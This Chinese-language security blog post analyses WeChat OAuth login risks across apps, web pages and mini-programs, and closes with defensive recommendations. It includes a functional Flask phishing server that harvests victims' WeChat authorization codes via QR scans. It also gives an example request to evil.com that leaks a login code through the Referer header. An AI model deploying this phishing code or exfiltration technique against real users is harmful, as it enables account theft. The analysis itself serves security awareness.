最近海洋看到很多低价开各种虚拟会员服务,都是需要扫描微信或者QQ二维码(二维码还是他们自己搭建的接口)的方式进行充值,存在数据盗取弊端。
随着微信成为国名级应用,很多公司的产品都实现了微信授权登录的入口,app、小程序、网页端也都可以接入微信授权,复杂的流程中或多或少存在着一些可以利用的安全风险,下面简单总结一下微信授权相关的安全风险。
首先来看下授权流程,微信授权的场景比较多,涉及app、网页、小程序、公众号等,只有先了解授权原理和过程,才能理解安全风险。
app授权这里就用android来举例,其官方文档位于https://developers.weixin.qq.com/doc/oplatform/Mobile_App/Resource_Center_Homepage.html,接入流程如下:
微信官方提供了android的sdk可以直接调用:
{
// send oauth request
Final SendAuth.Req req = new SendAuth.Req();
req.scope = "snsapi_userinfo"; // 只能填 snsapi_userinfo
req.state = "wechat_sdk_demo_test";
api.sendReq(req);
}
其中微信拉起第三方app的时候是通过拉起特定的activity来实现的,activity的命名规则统一为包名.wxapi.WXEntryActivity
,比如com.xxx.xxx.wxapi.WXEntryActivity
,微信拉起第三方app时,传递的参数为Resp
类型,code在这个类的_wxapi_sendauth_resp_token
字段里:
网页授权文档为:https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html
官方文档的流程图和app授权一致,但是接入方式有所不同,总结下来主要是两个步骤:
下面以1号店为例,来演示如何实现微信授权网页登录
redirect_uri?code=CODE&state=STATE
小程序授权和网页授权差不多,文档https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/login.html,放一下经典的步骤:
其实主要需要理解的也就两步:
这里的wx.login是走的微信自定义的协议,所以无法通过http抓包拿到,但是可以通过hook拿到,这也是很多微信hook框架提供的主要功能
微信授权本身采用的是oauth2协议,其没有直接的安全风险,但是如果在使用过程中配置不当或者使用不当,则会带来一定的钓鱼风险。
这个其实不算风险,但是也是一个可以利用起来的环节,这个问题其实最常见的需求是游戏app,用王者荣耀举例,王者荣耀只能通过微信或者qq登录,正常情况下必须要安装登录微信才能授权王者,对于有两个手机或者借号的情况比较麻烦,总不可能把微信密码告诉别人。这个时候有个利用方式,就是将常规的授权登录转成扫码登录,其原理步骤如下:
利用微信扫码的方式拿到微信code(这一步和微信网页授权的原理很类似)
WXAPIFactory.createWXAPI
即可,bundleid一般就是packagenamecom.xxx.xxx.wxapi.WXEntryActivity
,将bundle.putString("_wxapi_sendauth_resp_token", code);
参数传递在intent中。详细信息可以参考 https://github.com/Willh92/GameWxQRlogin
这个和2.1中扫码登录app的原理类似,当我们拿到code参数之后,我们只需要将code发送给服务端即可拿到cookie,所以盗号的难点也就是拿到code参数,可以通过下面的步骤来进行钓鱼盗号:
欺骗受害者可以通过很多方式,比如伪装成扫码领任务或者扫码助力。下面是一些关键代码:
from flask import Flask,request,redirect
from log import log
import re
import time
from dache import get_uuid,get_code,get_token
from concurrent.futures import ThreadPoolExecutor
import requests
from bs4 import BeautifulSoup
app = Flask(__name__)
executor = ThreadPoolExecutor()
# 生成uuid和二维码链接
def get_uuid() -> tuple:
url = "https://open.weixin.qq.com/connect/app/qrconnect?appid=xxx&bundleid=com.xx.xx&scope=snsapi_userinfo"
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
}
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "lxml")
code_url = soup.find('img', attrs={'class': "auth_qrcode"})['src']
uuid = code_url.split("/")[-1]
return uuid, code_url
# 通过uuid拿微信code
def get_code(uuid: str) -> tuple:
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger/4.5.255'
}
wx_errcode = ""
wx_redirecturl = ""
wx_nickname = ""
wx_code = ""
for _ in range(300):
timestamp = int(round(time.time() * 1000))
url = f"https://long.open.weixin.qq.com/connect/l/qrconnect?uuid={uuid}&f=url&_={timestamp}"
response = requests.request("GET", url, headers=headers)
response.encoding = 'utf-8'
wx_errcode = re.findall("window.wx_errcode=(.*?);", response.text)[0]
wx_redirecturl = re.findall(
"window.wx_redirecturl='(.*?)';", response.text)[0]
wx_nickname = re.findall(
"window.wx_nickname='(.*?)';", response.text)[0]
log.info(
f"wx_errcode:{wx_errcode}\twx_redirecturl:{wx_redirecturl}\twx_nickname:{wx_nickname}")
if wx_errcode == "408":
log.info(f"uuid:{uuid}等待扫码")
elif wx_errcode == "405":
log.info(f"uuid:{uuid}成功扫码并确认")
wx_code = re.findall("code=(.*?)&", wx_redirecturl)[0]
break
elif wx_errcode == "404":
log.info(f"uuid:{uuid}成功扫码,等待确认")
elif wx_errcode == "402":
log.info(f"uuid:{uuid}二维码过期")
break
return wx_errcode, wx_redirecturl, wx_nickname, wx_code
# 微信code换token
def get_token(wx_code: str) -> dict:
pass
def run(ip,uuid):
wx_errcode, wx_redirecturl, wx_nickname, wx_code = get_code(uuid) # wxd8bd490776fa84a2://oauth?code=0216tvml2DUFba43rXml2peJrT26tvmx&state=
log.info(f"{ip} {uuid}返回微信code为{wx_redirecturl}")
if wx_redirecturl != "":
log.info(f"{ip} {uuid} 微信昵称为:{wx_nickname}")
data = get_token(wx_code)
log.info(f"{ip} {uuid} {wx_code}:登录成功")
@app.route("/")
def hello_world():
ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)
log.info(f"{ip} 接收到请求")
uuid, code_url = get_uuid()
log.info(f"{ip} 得到uuid:{uuid}, code_url:{code_url}")
executor.submit(run, ip, uuid)
return redirect(code_url, code=302)
if __name__=="__main__":
app.run(host="0.0.0.0",port=80, debug=False)
在网页授权登录的过程中,以下面的链接举例子https://open.weixin.qq.com/connect/qrconnect?appid=wxbdc5610cc59c1631&redirect_uri=https://passport.yhd.com/wechat/callback.do&scope=snsapi_login,用户扫码登录成功后,会把登录凭证code传递给回调地址redirect_uri,如下所示:
https://passport.yhd.com/wechat/callback.do?code=CODE&state=STATE
这个redirect_uri这个值是我们可控的,但是微信会限制redirect_uri的域名,如果a.com替换成b.com会显示redirect_uri 参数错误,但是有时候如果配置了*.a.com,我们可以替换成其他的子域,如果子域下面存在问题,则会出现code盗取的情况,比如下面的情况:
假设某网站对redirect_uri的域名限制为*.aaa.com,在b.aaa.com域名下发现一个论坛,论坛帖子得回复可以插入第三方的图片,将这两点结合起来就可以通过referer来窃取code。
登录成功后会带着code访问帖子:
http://b.aaa.com/tiezi/123456&code=xxxxxxxxx
而帖子中又有攻击者插入的第三方图片,在加载第三方图片的时候,就把code传输出去了,完成code窃取:
GET http://www.evil.com/test.jpg
Referer: http://b.aaa.com/tiezi/123456&code=xxxxxxxxx
攻击者拿到code和state之后,即可登录受害者的账号。
「关注公众号登录」指的是在 PC 网站上生成微信公众号的二维码,用户使用微信 APP 扫码,关注公众号之后实现自动登录的过程。使用「关注公众号登录」可以快速为公众号引流,提升品牌粘性,但是在这个环节也存在一些安全风险。
下面先看一下实现原理,官方文档在https://developers.weixin.qq.com/doc/offiaccount/Account_Management/Generating_a_Parametric_QR_Code.html,
从开发的角度看,过程可以总结为下面几个步骤:
用户打开网页登录页面,这个过程也就是网页前端向网页后端请求登录二维码的过程
上述过程在用户扫码时,是这么说的:
这样就带来一个问题,如果用户已经关注公众号了,那么伪装一个二维码发给该用户扫描,则用户扫描后,无需二次确认按钮,会直接登录。
作弊流程如下:
上面的124步都可以通过协议包装成钓鱼网站实现,用户扫码后即使知道被盗号,也无能为力了
不管是移动app、h5网页还是微信小程序,涉及到微信授权的部分最关键的就是code参数,后端拿到code后,可以换到openid,openid又能够标识唯一微信,所以对于很多应用来说,拿到了code,就相当于拿到了微信。
而微信授权早已经被黑产做成了产业链,其中主要的功能就是提供各大应用的微信code,所以即使没有微信号,也可以批量获取code,下面是一些相关app的截图:
所以在使用微信授权时,不要只依靠code来标识用户,最好是同步获取手机号,再传输过程中采用加密传输和签名校验,增加攻击成本,还可以结合微信对openid的风险评级来做相应的二次验证,官方文档在:https://developers.weixin.qq.com/minigame/dev/guide/open-ability/security.html